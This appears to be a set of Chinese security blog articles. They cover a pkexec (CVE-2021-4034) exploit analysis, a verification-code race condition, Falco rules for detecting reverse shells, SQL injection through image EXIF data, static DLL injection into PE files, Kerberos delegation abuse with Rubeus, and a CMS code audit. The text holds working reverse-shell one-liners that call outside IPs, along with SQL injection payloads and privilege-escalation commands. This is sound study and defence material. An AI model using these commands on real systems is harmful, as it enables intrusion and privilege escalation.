CVE-2021-4034 pkexec本地提权漏洞分析
前言 Qualys 研究团队在 polkit 的 pkexec 中发现了一个内存损坏漏洞,该 SUID 根程序默认安装在每个主要的 Linux 发行版上。这个易于利用的漏洞允许任何非特权用户通过在其默认配置中利用此漏洞来获得易受攻击主机上的完全 root 权限。 pkexec Polkit(以前称为 PolicyKit)是一个用于在类 Unix 操作系统中控制系统范围权限的组件。它为非特权进程与特权进程通信提供了一种有组织的方式。也可以使用 polkit 执行具有提升权限的命令,使用命令 pkexec 后跟要执行的命令(具有 root 权限)。 运行   完成认证即可使用root权限执行文件   漏洞复现   漏洞分析 变量n初始值被设置为1,循环执行的次数为参数的个数,但是若参数个数为0时,此时变量n仍然为1,并且后面执行的语句会将argv[n]的值取出则造成了数组越界。   test1.c int main(int argc,char **argv) { printf("argc:%d\n",argc); for(int i=0;i<argc;i++) printf("argv[%d]:%s\n",i,argv[i]); return 0; } 将test.c编译执行,发现argv[0]为执行文件所在路径。并且参数个数也是为1,不会出现为0的情况。因此在这种情况下pkexec不会出现数组越界的情况。   test2.c #include <unistd.h> int main() { char * const args[] = {NULL}; char * const environ[] = {NULL}; execve("./test",args,environ); return 0; } 将test2.c编译执行,使用execve函数启动test1文件,发现此时的argc为0。   那么使用execve函数调用pkexec文件就有可能会出现argc为0,造成数组越界,下图为调试pkexec时的情况,此时的argc为0,但是n为1,通过源码可以看到后续会读取argv[n]的值,因此造成了数组越界。   漏洞利用 pkexec文件会执行validate_environment_variable (key, value)用于检测key所对应的环境变量是否合法。   若key所对应的环境变量不合法则会采用g_printerr函数打印信息,log_message函数内部也是调用了g_printerr进行信息的打印。   exp利用g_printerr打印错误信息时特殊的执行流程进行getshell。 当Linux中CHARSET不是设置为UTF-8格式,则会调用iconv,用于将文本从一种编码转化为另一种编码。 在调用iconv之前需要通过使用iconv_open分配转化描述符号。 iconv_open函数受到GCONV_PATH环境变量影响 • 若GCONV_PATH未设置,那么iconv_open会加载系统默认的模块配置的缓存文件。 – 默认的配置文件位于/usr/lib/gconv/gconv-modules • 若GCONV_PATH被设置,则会优先加载设置路径下的配置文件。 查看默认的配置文件信息gconv-modules,该配置文件指定了编码转换的键值对,并且通过指定的so文件执行转换。   main_g_printerr.c文件中调用了g_printerr函数,而test3.c则是我们稍后需要编译成.so的文件,尝试利用g_printerr函数执行自行编译的so库。 //main_g_printerr.c int main() { g_printerr("Hello World!\n"); return 0; } //test3.c #include<stdlib.h> #include<stdio.h> #include<unistd.h> void gconv() { } void gconv_init(void *step) { printf("Hello test3\n"); exit(0); } //配置文件 gconv-modules //将编码为ABCD转化为UTF-8,具体转化流程根据test3.so文件 module UTF-8// ABCD// test3 1 将main_g_printerr.c编译为main_g_printerr,test3.c编译为test3.so,gconv-modules为配置文件,内容如上。   设置CHARSET为ABCD,因为配置文件写的是从ABCD转化为UTF-8,然后将环境变量GCONV_PATH设置为当前目录。执行main_g_printerr发现输出的是.so文件中的Hello test3   pkexec是具有suid特殊权限的文件,因此执行pkexec文件时是具有root权限的。   linux的动态链接器会在特权程序执行的时候清楚危险的环境变量,因此使用execve启动pkexec时,即使设置了GCONV_PATH也会被连接器清除。如下图所示test4具有suid权限,在test5中使用execve启动test4,并且设置了GCONV_PATH环境变量,但是可以看到test4的环境变量中并没有GCONV_PATH   因此需要使用pkexec中存在的数组越界漏洞,将GCONV_PATH写入 变量argv与变量envp在内存中是连续的,如下图所示,图片来自于https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034   当我们使用execve启动pkexec时,argv是NULL,因此argc的值为0,但是pkexec会默认将argc的值赋值为1,因此argv[argc] = argv[1] = envp[0],因此envp中的值会被越界读取。 利用数组越界写入GCONV_PATH=. 使用execve启动pkexec时envp[0]的值为FileName:.,并在当前目录下新建名为GCONV_PATH=.的文件夹,该文件夹下新建名为FileName:.的文件。 首先pkexec会取出argv[1](即envp[0])的值,接着通过g_find_program_in_path函数获取文件路径从而构造出GCONV_PATH=.FileName:.,接着该值会重新覆盖envp[0],至此GCONV_PATH被成功写入。   GDB调试 数组越界读   环境变量构造   成功引入环境变量   最后就是使得pkexec使用g_printerr打印错误信息即可。 参考文章 https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034https://bbs.pediy.com/thread-271423.htmhttps://github.com/berdav/CVE-2021-4034https://man7.org/linux/man-pages/man1/iconv.1.htmlhttps://xz.aliy
记一次重放验证码的条件竞争
https://www.yijinglab.com/expc.do?ec=ECID39ee-9db2-47bc-9fa1-29150748681b看着网站挺好怼的,于是就看了看它的验证码这一块 0x01:先看看它的正常的响应包   重复发送,做了防护。  使用常见的手法进行绕过 1.换行 –失败  2.加空格或者 + 号  失败 body=contact%3D%2013888888888%20&type%3Dgetverifycode&cmd%3D-1&data=&yzm=&encrypt=false  body=contact%3D+13888888888%20&type%3Dgetverifycode&cmd%3D-1&data=&yzm=&encrypt=false ….   3.加分号, 加逗号  --失败 body=contact%3D13888888888;13888888888&type%3Dgetverifycode&cmd%3D-1&data=&yzm=&encrypt=false   差不多可以确定是电话后面加的是非空格字符的是不会发送,直接显示手机号错误,  4.加+86  或者86  5.在常见思路都失败的情况下,我想到可不可以用数据库的空白字符去干扰它….. 有那么多空白字符 试试呗…    然后当我把线程放到30的时候,重新再跑的时候,进一步确认了这样一个问题     问题就出来了。。。按照刚才的思路,不可能是有两个验证码会发送成功的,如果发送成功,一定就是它的业务出现了问题… 那么到底是哪里出了问题了呢??? 1.最开始的时候,思考的方向出现了问题,我首先想到的是会不会是高并发的一个问题。。然后去百度,寻找到这样一个线索  感谢这位师傅的文章  可以看到,高并发漏洞应该是两个不同的操作,从而导致的问题  2.然后又跑去问团队的大师傅。大师傅给了一个提示   说实话,有往条件竞争这一块去想。。但是想到的是条件竞争的话,感觉是在上传这一块, 所以,但长见识了!!!验证码也可以条件竞争… 找个时间想想,其他漏洞会不会存在这有条件竞争…  3.新的问题又出来的 怎么去验证这样一个问题是条件竞争… 坑定不能重复这个%00 相当于直接重放这个请求包即可     把线程开到50   成功验证了。。。。 主要为了验证这个问题存在即可,不一定要把线程开得很大,把别人网站搞崩完犊子了……   总结: 1. 原来验证码可以进行条件竞争!!! 2. 挖掘得每一个过程,都需要明白大致得流程,这样才能进步,我们要明白为什么,怎么操作。加油加油 3. 愿师傅们技术更上一层楼  之所以认为是条件竞争,是因为一个大师傅这样认为过…  最后,谢谢兔哥,十二神等等….和我团队里的各位大师傅… 真正谢谢了….
利用Falco监控反弹Shell
前言 网络对抗愈加激烈,各种攻击手法层出不穷,在安全左移的同时,如何做到快速的应急响应,也是攻防中的一大重点。本文将以Falco为例,来达到反弹Shell的监控。 安装Falco 根据https://falco.org/docs/getting-started/installation/在centos迟迟没安装成功,提示找不到驱动,也罢,通过docker安装,并且为了快速安装,我给予了Falco容器特权,因此得注意Falco容器自身的安全性,不然就被逃逸了: docker pull falcosecurity/falco:latest 虽然宿主机Falco安装失败了,但是Falco相关的配置文件都有了,因此我把配置文件挂载到容器里,方便规则文件的更改: docker run --rm -i -t     --privileged     -v /var/run/docker.sock:/host/var/run/docker.sock     -v /dev:/host/dev     -v /proc:/host/proc:ro     -v /boot:/host/boot:ro     -v /lib/modules:/host/lib/modules:ro     -v /usr:/host/usr:ro     -v /etc:/host/etc:ro -v //etc/falco/:/etc/falco/     falcosec 可以正常运行:   反弹Shell分析 既然我们要监控反弹Shell的行为,我们就要分析对应的行为特征,我们使用我发表在TSRC的https://mp.weixin.qq.com/s/egsHOPK_S5vZujqIb3ygOQ文中的反弹Shell手段看看进程有啥特性或者共性: bash -i >& /dev/tcp/1.1.1.1/10000 0>&1    bash -c 'exec bash -i &>/dev/tcp/yourip/yourport <&1'    rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 114.67.110.37 10000 >/tmp/f    php -r '$sock=fsockopen("yourip",yourport);exec("/bin/sh -i <&3 >&3 2>&3");'    python -c 'import sys,socket,os,pty;s=socket.socket();s.connect(("yourip",yourport));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'    TF=$(mktemp -u); mkfifo $TF && telnet 127.0.0.1 1337 0<$TF | /bin/sh 1>$TF    根据上面的反弹Shell行为,发现有几个特性,或者说共性: fd有对外的socket连接,且fd.num不超过3 fd有pipe管道,且fd.num不超过4 fd.255是/dev/tty 根据综上所述,可以编写对应的规则。  编写监控规则 Falco的规则有三块内容: • Rules • Macros • Lists Rules主要是告警名称、告警介绍、告警条件、告警输出、风险等级和告警标签;Macros是自定义好的规则,可以在规则中被引用的“函数”;Lists是变量列表。 规则长下面这样:   Falco默认也自带了一些规则,比如我们docker exec进入容器的时候,会有告警提示:    根据上述反弹Shell分析,如果bash、zsh这些进程的fd出现socket连接,肯定有问题,而且常见的bash反弹都是用的重定向,那我们就可以编写对应的规则: - list: shell_binaries   items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash] - rule: Shell Binary Reverse shell   desc: Bash、Zsh etc. have network connection,May be Reverse Shell   condition: evt.type=dup and proc.name in (shell_binaries) and container and fd.num in (0, 1, 2, 3) and fd.type in ("ipv4", "ipv6")   output: >     Reverse shell connection (user=%user.name %container.info process=%proc.name proc.pid=%proc.pid parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip)   priority: emergency   tags: [container, reverse_shell, mitre_execution]   append: false 上述规则代表如果存在重定向、进程是bash、zsh这些、在容器内、fd的num是0、1、2、3中的一个、fd类型是ipv4或者ipv6,可以看到成功的监控到反弹Shell行为:   但是这样很容易被绕过,主要执行的进程不是shell_binaries里的就行,就比如上面的telnet、python反弹Shell的方式。因此我们可以删掉上面提到的shell_binaries,不管是不是bash这些,只要fd 0 1 2 3有socket连接就行: - rule: Any Binary fd 0-3 Have Network Connection   desc: Any Binary fd 0-3 have network connection   condition: evt.type=connect and container and fd.num in (0, 1, 2, 3) and fd.type in ("ipv4", "ipv6")   output: >     Any Binary fd 0-3 Have Network Connection (user=%user.name %container.info process=%proc.name proc.pid=%proc.pid parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.si   priority: warning   tags: [container, fd03_network]   append: false   继续根据上面的反弹Shell分析,发现telnet这样的反弹Shell,会有管道pipe的产生,因此我们继续完善我们的告警,添加Pipe: - rule: Shell Binary Pipe   desc: Bash、Zsh etc. have Pipe,May be Reverse Shell   condition: evt.type=dup and proc.name in (shell_binaries) and container and fd.num in (0, 1, 2, 3) and fd.type="pipe"   output: >     Reverse shell connection(PIPE) (user=%user.name %container.info process=%proc.name parent=%proc.pname proc.pid=%proc.pid cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%f   priority: emergency   tags: [container, reverse_shell, pipe, mitre_execution]   append: false   fd.255是/dev/tty也可以加个: - rule: fd.255 = tty   desc: fd.255 = tty   condition: evt.type=connect and container and fd.num=255 and fd.name='/dev/tty'   output: >     fd.255 = tty (user=%user.name %container.info process=%proc.name parent=%proc.pname proc.pid=%proc.pid cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip)   priority: warning   tags: [container, fd255_tty]   append: false  总结 本文利用Falco进行了反弹Shell的监控,虽然大多数的反弹行为都可以被监控到,但是可能存在各种各样的误报、漏报,安全任重道远。 实验推荐 实验:反弹shell的N种姿势(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID5176-f1a3-433a-b3a2-a7ff4eab2d1d
一张图片也能SQL注入
前言 最近在复盘SQL注入,看到有一个trick挺有意思的,这个trick主要利用后端程序会将文件exif信息插入数据库进行SQL注入 因此本篇文章会从题目解题,源码分析,底层调试这几个方面入手,如有纰漏,请多包涵。 什么是exif? 为了方便后面文章介绍这个trick,首先我们需要了解什么是exif? 其实exif是可交换图像文件的缩写,是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。 例如生活中利用手机相机或者数码相机拍照的时候,exif会记录拍照时的一些属性,例如:光圈,焦距,拍照时间,拍照设备等等属性  题目解题 题目地址:https://ctf.show/challenges#你没见过的注入-321 首先打开题目,前面一些与本文无关的解题步骤就不赘述了,简要的概括一下就是:扫目录扫到robots.txt,进入修改密码页面,修改完成密码之后进入后台。 后台还是比较简单的,就是一个上传的页面   选择文件进行上传即可,并且进行测试后发现,上传的文件都没有被过滤,即使是上传同一个文件,文件名也是不一样的,因此猜测这里使用了随机数md5的方式进行文件命名   这一题文件名被随机数md5重命名,并且,所以文件名不是注入点,但是分析一下上方的列目录的文件,首先肯定是有数据库存储相关文件信息(上图中的filetype),因此查询一下PHP有哪些函数或者方法会有这样的功能,查询PHP官方手册后可以发现,其中finfo对象以及finfo_file函数是有这个功能的   因此就可以大胆猜测在filetype会存在SQL注入,并且SQL语句应该是insert开头的插入语句 那么如何控制这个filetype呢? 我们可以使用file命令查看一个文件的信息,如下图所示   这一个命令一出是不是就发现和上面那个页面的filetype十分相似了呢? 那么是否有工具可以控制这个filetype呢?有的,那就是exiftool 安装完成后,我们尝试在一个图片里加入SQL语句,这里我们假设题目的SQL语句如下(这个很需要经验,不过这里我就直接给出来了,做题的时候还是需要慢慢fuzz) insert into columns('字段1','字段2','字段3') value('值1','值2','值3') 因此注入语句 123"';select if(1,sleep(5),sleep(5));--+ 具体的exiftool的命令为 exiftool -overwrite_original -comment="123\"');select if(1,sleep(5),sleep(5));--+" avatar.jpg 利用exiftool添加comment之后,使用file命令查看文件信息   可以看到,命令已经成功注入到了comment中,上传该图片,就可以发现明显有延迟,所以命令注入成功。 之后拿flag就很简单了,利用into outfile写入一句话木马即可,这里就不赘述了。 那么,究竟是什么函数会导致这样的SQL注入呢? 抱着深究的心态把题目源代码拷贝下来进行分析(所有可以getshell的题目都可以把题目拿下来进行分析,可以学到更多的东西)  题目源代码分析 首先一些登录文件就不看了,直接看最重要的,会造成SQL注入的那几个文件(为了防止篇幅过长,我这里仅将关键代码进行展示) $filename = md5(md5(rand(1,10000))).".zip"; $filetype = (new finfo)->file($_FILES['file']['tmp_name']); $filepath = "upload/".$filename; $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');"; • 上方代码第一行就是前面说的,将随机数md5存储文件 • 第二行这里使用到了finfo::file,这里便是我们的注入点 • 第三行是目录的拼接 • 第四行就是存在SQL注入的SQL语句 if(mysqli_num_rows($result)>0){ while($row=mysqli_fetch_assoc($result)){ echo "<li>"; echo "filename:<a href='".$row["filepath"]."'>".$row["filename"]."</a> filetype:".$row["filetype"]."<br>"; } echo "</li>"; } 这一段代码就比较简单,就是将存储的文件名列出来 那么造成注入的罪魁祸首就是这一行代码: $filetype = (new finfo)->file($_FILES['file']['tmp_name']); 这里使用finfo::file方法,这个方法在PHP手册介绍如下,但是并不是很详细,后半部分将会对这一个函数进行底层代码跟踪分析。    finfo::file底层跟进 finfo::file方法在ext/fileinfo/fileinfo.c中 其中finfo中有这么几个方法: class finfo {     /** @alias finfo_open */     public function __construct(int $flags = FILEINFO_NONE, ?string $magic_database = null) {}     /**      * @param resource|null $context      * @return string|false      * @alias finfo_file      */     public function file(string $filename, int $flags = FILEINFO_NONE, $context = null) {}     /**      * @param resource|null $context      * @return string|false      * @alias finfo_buffer      */     public function buffer(string $string, int $flags = FILEINFO_NONE, $context = null) {}     /**      * @return bool      * @alias finfo_set_flags      */     public function set_flags(int $flags) {} } 我们跟进finfo::file 我们在下方图中位置下三个断点   将前面题目拉下来的源文件放在一个文件夹中进行调试 源文件如下: 将upload.php修改如下 $filename = md5(md5(rand(1,10000))).".zip"; $filetype = (new finfo)->file($_FILES['file']['tmp_name']); $filepath = "upload/".$filename; var_dump($filetype); die(0); 开启调试,上传注入文件后程序便会停止在断点处 第一个断点处,421行,这个断点处调用包装器打开资源并返回流对象   第二个断点处,431-432行,进入magic_stream,单步调试,监视ms以及ret_val 进入file_or_stream   直接看file_or_stream的return   跟进file_getbuffer,下方其实就可以看到ms->o.buf已经获取到了exif信息   后面的就不继续跟进了,但是可以肯定的是file()方法可以检测图片的EXIF信息,并且作为题目中的filetype传入数据库造成注入 $filetype = (new finfo)->file($_FILES['file']['tmp_name']);  总结 虽然是几年前的trick,但是每弄清楚一个trick,攻击面就会更广。  参考文章 • https://blog.gem-love.com/ctf/2283.html#你没见过的注入 • https://segmentfault.com/a/1190000015052042
PE文件静态注入
http:// https://www.yijinglab.com/expc.do?ce=d5bc0c11-a182-474b-8ac1-251194174436 DLL注入 DLL注入指的是向运行中的其他进程强制插入特定的DLL文件。 可以通过修改静态的PE文件,修改输入表结构,使得程序执行时载入特定的DLL文件。 通常可执行文件需要使用其他DLL文件中的代码或数据,这些DLL文件相关的信息会保存在输入表中,因此我们通过修改PE文件中输入表相应的信息,即可实现PE文件在运行时自动载入特定的DLL文件。 使用PEview工具可以清晰的看到程序说输入表的信息   输入表 由于需要修改输入表信息,因此这里简单介绍一下输入表的结构。 在PE文件的可选头中存在这数据目录项, 里面记载了输出表、输入表等关键信息的偏移及大小。那么理所当然的PE文件在执行时也会通过数据目录项里的信息去找寻输入表。   输入表是由IMAGE_IMPORT_DESCRIPTOR结构的数组组成,简称IID,没有特定的成员指出IID项数,但是会由全为0的IID结构作为结束。 上图可以看出输入表的起始地址为0x1B1C4,这是RVA(相对偏移地址)地址,我们需要转化为文件的偏移地址才能够在文件中找到相应的内容。工具中提供了RVA与文件偏移地址的转换或者自行计算。   从上图可以看出IID结构确实是由全为0的IID结构作为结束。 输入表结构 IID结构的字段成员如下,其中OriginalFirstThunk、Name以及FirstThunk成员是我们添加DLL文件的关键。 IMAGE_IMPORT_DESCRIPTOR union characteristics DWORD OriginalFirstThunk DWORD //指向IMAGE_THUNK_DATA结构的数组 ends TimeDateStamp DWORD //时间标志 ForwarderChain DWORD //一般为0 Name DWORD //指向DLL名称的指针 FirstThunk DWORD//指向IMAGE_THUNK_DATA结构的数组 IMAGE_IMPORT_DESCRIPTOR 在PE文件尚未执行过时,OriginalFirstThunk与FirstThunk字段指向相同的结构,区别在于OriginalFirstThunk不可以重写,而FirstThunk可以被重写,当PE文件执行后FirstThunk指向的结构会用于存放输入函数的真实地址。因此我们修改时将OriginalFirstThunk与FirstThunk字段指向同个地址即可。而Name字段存放的是指向DLL文件名称的指针。 OriginalFirstThunkFirstThunkName指向IMAGE_THUNK_DATA结构的数组指向IMAGE_THUNK_DATA结构的数组指向DLL名称的指针 IMAGE_THUNK_DATA IMAGE_THUNK_DATA union u1 ForwarderString DWORD //指向一个转向者字符串的RVA Function DWORD //被输入的函数的内存地址 Oridinal DWORD //被输入的API的序数值 AddressOfData DWORD //指向IMAGE_IMPORT_BY_NAME IMAGE_THUNK_DATA IMAGE_THUNK_DATA结构在不同情况下的成员不同,但是重点关注AddresOfData字段,该字段指向IMAGE_IMPORT_BY_NAME结构,该结构记录的输入函数的名称。当IMAGE_THUNK_DATA值的双字的最高位为0时,表示函数以字符串类型的函数名方式输入。因此构造时高两个字节为0,低两个字节为IMAGE_IMPORT_BY_NAME结构地址即可。 IMAGE_IMPORT_BY_NAME IMAGE_IMPORT_BY_NAME STRUCT Hint WORD //忽略设置为0 Name BYTE //输入函数名称 IMAGE_IMPORT_BY_NAME IMAGE_IMPORT_BY_NAME结构的高两字节的值忽略,后门跟着的数据直接填入DLL文件中输出的函数名称,即PE文件运行时会使用到DLL文件中函数的名称。 修改PE文件 这里准备两个文件 • 文件一:HelloWorld.exe,该文件仅仅是简单在屏幕输出HelloWorld!!!的字符 • 文件二:待注入的DLL文件,show.dll,该DLL文件的功能可以根据实际情况而定,这里我准备的DLL文件可以简单的弹出一个对话框。 将HelloWorld.exe文件拖入PEview工具中,查看输入表内容。可以看到并没有载入show.dll文件。   运行HelloWorld.exe文件   开始修改HelloWorld.exe文件的思路 • 需要在输入表中添加额外的IID结构,该IID成员的信息为show.dll文件的信息 • 由于需要添加IID成员,需要观察原始输入表是否由额外的空间可以容纳新的IID结构,若没有则可以选择 – 文件中的空白区域 – 文件末尾添加新节区 现在观察HelloWorld.exe文件的输入表,可以看见在输入表的结尾处紧跟着的是一串数据,并且大概率不是无用的数据,若我们直接在输入表结尾处添加新的IID结构必定会破坏原文件的结构,导致程序无法正常运行。   因此选择在找空白处,因为PE文件需要对齐,因此会使用大量的空字符进行填充。空白区域可以任取,但是需要记住选取的地址因为后续需要用到。并且我们需要观察该空白区域是否会被载入到内存中去。我们这里选择的是idata段末尾位置,因此需要去查询idata段信息。   如下图所示,文件中idata段的大小比映射到内存中的大小更大,因此我们可以利用这段差值填充伪造输入表。这里选择文件偏移0x8960作为输入表的起始地址。不能将0x8950作为其实地址,这样KERNEL32.DLL字符串会缺失截断符,运行时会提示找不到该DLL文件。   首先将原输入表的数据复制下来,写入文件偏移0x8960处,新增一个IID结构,Name字段填入DLL文件的名字,即show.dll,而OriginalFirstThunk与FirstThunk字段填入填入IMAGE_IMPORT_BY_NAME结构体的地址,IMAGE_IMPORT_BY_NAME的内容填入输入函数的名称,并且高两个字节需要为0。这里所有填入的地址都为RVA地址,因此需要将文件地址转化为RVA地址填入。 接着需要改写idata的权限,前面说到FirstThunk在PE文件运行后是会被改写的,因此输入表所在的区段需要具有写权限。可以看到idata不具备写权限,因此需要将写权限加上。   0x80000000为写权限的标志位,因此将原来的数据或上0x80000000即可   修改后为0xC0000000    最后由于修改了输入表结构以及所在地址并且新增了一个IID结构因此需要去数据目录项的位置修改输入表的地址及大小。   使用PEView工具查看修改后的文件,能够发现修改后的文件使用工具依然能够识别出来,证明没有把文件修坏。   最后执行程序,发现show.dll文件成功注入  参考文章 • 加密与解密 • 逆向工程核心原理
基于资源的约束委派利用攻击介绍二
前言 RBCD常见的攻击手法都是通过添加机器账号,然后设置委派,可参考https://mp.weixin.qq.com/s/Cc-SiuwtGTB_cKQBc1IX0g,那如果域管理员设置了域内默认添加的机器账号的数量为0呢? 修改ms-DS-MachineAccountQuota可以通过ADSI编辑器更改:   也可以通过admod工具更改: AdMod.exe -b  "dc=rootkit,dc=org" "ms-DS-MachineAccountQuota::0" -updatenchead 最后能看到ms-DS-MachineAccountQuota为0:   自己委派自己 尝试利用老方法,能够发现添加机器账号失败了,也是情理之中:   https://mp.weixin.qq.com/s/Cc-SiuwtGTB_cKQBc1IX0g中有讲到,机器自身和把机器拉入域的域用户都有权限更改机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性,而且还提到,服务账号,如iis、localservice这些,发起网络请求的身份是机器账号:      因此我们可以自己委派自己,把机器的msDS-AllowedToActOnBehalfOfOtherIdentity改为自身机器账号,然后自身机器账号在模拟用户进行委派攻击。 我们模拟一下实战,首先打到了一个内网的webshell,iis apppool权限:   利用ADModule来设置自己委派给自己: powershell -ep bypass "import-module .\Microsoft.ActiveDirectory.Management.dll;$iis = get-adcomputer SRV-WEB-KIT;set-adcomputer SRV-WEB-KIT -PrincipalsAllowedToDelegateToAccount $iis" 查询委派信息(利用工具:https://github.com/Jumbo-WJB/search_rbcd),设置委派成功:   这时候看过我https://mp.weixin.qq.com/s/Cc-SiuwtGTB_cKQBc1IX0g的小伙伴会想了:“接下来我会,使用机器账号的凭证发起s4u协议就可以委派了”,确实是可以,但是这里是低权限用户,没法抓密码,也就无法获取机器账号凭证,那应该如何操作呢? 首先利用rubeus通过AcquireCredentialsHandle、InitializeSecurityContext,以非高权限申请转发票据: rubeus.exe tgtdeleg /nowrap    利用s4u协议请求票据: rubeus.exe s4u /user:SRV-WEB-KIT$ /domain:rootkit.org /dc:owa2013.rootkit.org /impersonateuser:administrator /msdsspn:http/SRV-WEB-KIT.rootkit.org /ptt /ticket:doIFLxxxxxxxxxx    最终也成功的利用http spn对该机器进行了提权操作: powershell -ep bypass "invoke-command -computername SRV-WEB-KIT.rootkit.org -Command {whoami}"   抓密码啥的当然也不在话下:    总结 本文描述了在MAQ为0的情况下的提权手段(当然不止文中的这些手段),可见设置MAQ为0并不能完全的防御住基于资源的约束委派攻击。
如何审计一个冷门的cms?
前言 刚开始代码审计多多少少会有种无从下手的感觉,想要通过自己的代码审计能力直接审计出漏洞未免有些困难。但是如果直接拿到一个cms开始审,刚开始可能富有激情,可是越审到后面就会越怀疑自己,然后放弃代码审计。造成这样的现象的原因便是:不知道自己到底能不能审到漏洞。 那如何审出一个很少人知道,并且肯定存在的洞呢? 本文介绍的办法就是:上cnvd看看以前师傅提交的洞,虽然大多数的洞都是不公开的,但是我们还是可以根据cnvd给的一点点信息来尝试复现。 因此,本文涉及到的漏洞都是比较早被发现,危害性较低,并且已经被厂商修复的漏洞,本文仅对代码审计的过程做一个分析。 确定目标 刚开始审计,可以选择一些比较冷门的cms(内容管理系统),挑选一个自己擅长的cms语言审计,之所以选择冷门的cms是因为这些cms一般存在的安全问题会比热门cms多。 本文选用的cms是:emlog(V5.3.1),这个cms是使用PHP语言开发的个人博客管理系统  信息收集 确定完目标之后,就需要上cnvd搜索该cms历史存在的一些漏洞,本文演示的是emlog   可以看到在cnvd上存在这么一些漏洞,虽然在漏洞详情页面并没有直接写漏洞是怎么形成的,但是在这里或多或少会存在一些信息。比如在哪个地方会存在什么类型的洞。 接下里挑选一个简单的漏洞进行演示    复现漏洞 由上图可知,在后台页面,一般是admin目录下,有一个ta打头的文件,而我们查看一下emlog目录,唯一一个ta打头的文件就是tags.php   而在tag.php仅有50余行代码,因此想在50行左右的代码地方找到一个SQL注入还是比较简单的  首先是大概了解一下这50余行代码的作用,对于一个博客内容管理系统来说,tag.php应该是一个处理文章标签管理的文件 因此我们这个cms可能会用到这个文件的页面   在这个页面中存在几种操作,一个是全选,一个是删除,其中点进标签后还存在标签修改的功能   这几个功能对应在tag.php中就是这么几个if语句  而执行哪一种操作是根据传入action的值来决定的 因此,接来下审计在这些if语句中可能存在的SQL注入的点 首先是第一个if判断 if ($action == '') { $tags = $Tag_Model->getTag(); include View::getView('header'); require_once View::getView('tag'); include View::getView('footer'); View::output(); } 这一个if判断只有一个action是可控的,其余没有参数可控,因此这个函数不存在SQL注入的点 然后再看一下第二个if判断 if ($action== "mod_tag") { $tagId = isset($_GET['tid']) ? intval($_GET['tid']) : ''; $tag = $Tag_Model->getOneTag($tagId); extract($tag); include View::getView('header'); require_once View::getView('tagedit'); include View::getView('footer');View::output(); } 这一个if判断相比上一个多一个tid为可控参数,不过cms对传入的tid进行了intval的转换 不过我们还是跟进getOneTag方法看一下 function getOneTag($tagId) { $tag = array(); $row = $this->db->once_fetch_array("SELECT tagname,tid FROM ".DB_PREFIX."tag WHERE tid=$tagId"); $tag['tagname'] = htmlspecialchars(trim($row['tagname'])); $tag['tagid'] = intval($row['tid']); return $tag; } getOneTag方法具有一个参数tagId,这个tagId就是前面我们自定义传入的tid,不过这个地方没法传入字符串进行闭合注入,因为在传入这个方法以前就已经intval转换了,所以这个点不存在sql注入 接下来看第三个if判断 //标签修改 if ($action=='update_tag') { $tagName = isset($_POST['tagname']) ? addslashes($_POST['tagname']) : ''; $tagId = isset($_POST['tid']) ? intval($_POST['tid']) : '';          if (empty($tagName)) {         emDirect("tag.php?action=mod_tag&tid=$tagId&error_a=1");     }      $Tag_Model->updateTagName($tagId, $tagName); $CACHE->updateCache(array('tags', 'logtags')); emDirect("./tag.php?active_edit=1"); } 这里相比上面多了一个tagname,这个tagname可以传入字符串,也就是有可能会存在SQL注入,不过在传入的时候,cms会对这个tagname进行一个addslashes函数转换,也就是传入的单引号以及一些特殊符号会被转译。 我们这边抓包尝试一下 首先查看一下现在的标签,此时有两个标签tag112以及tags2123   上面提到的tagname其实就是标签的名字,我们抓包将tag112修改为tag112',尝试能否闭合   这时候我们返回主页面   发现此时标签变为了tag112',所以单引号是被转义了,没法直接进行SQL注入。 当然,如果数据库的编码为GBK,那么可以尝试宽字节注入,不过默认使用的数据库为utf8,因此无法使用宽字节注入。 接下来看第4个if判断 //批量删除标签 if ($action== 'dell_all_tag') { $tags = isset($_POST['tag']) ? $_POST['tag'] : '';     LoginAuth::checkToken(); if (!$tags) { emDirect("./tag.php?error_a=1"); } foreach ($tags as $key=>$value) { $Tag_Model->deleteTag($key); } $CACHE->updateCache(array('tags', 'logtags')); emDirect("./tag.php?active_del=1"); } 这个地方POST传入了一个tag,是我们的可控参数,并且这里没有对tag进行转义,所以我们再往下看是否存在SQL注入 其中我们传入的tag最终会成为tags数组中的key,仔细看一下foreach循环中,传入的deleteTag方法的参数是数组中的key,而在PHP中,数组的key并不一定需要是数字,也可以是一个字符串,只要key和value对应即可。 我们这个时候先不着急抓包,先看看deleteTag方法是如何实现的。 跟进deleteTag方法 function deleteTag($tagId) { $this->db->query("DELETE FROM ".DB_PREFIX."tag where tid=$tagId"); } 可以发现,SQL语句执行的时候也是没有进行任何过滤的。 这里我们开始抓包   可以看到post传入了tag[1],这里我们对方括号中的1开始注入,这里也不需要引号闭合,直接注即可。 我使用的是报错注入 tag%5B1%20and%20updatexml(0,concat(0x7e,version()),1)%20%23%5D=1&token=c16eaff79a17d690f5c0caae66276085   看下方的结果,已经把数据库的版本爆出来了。   总结 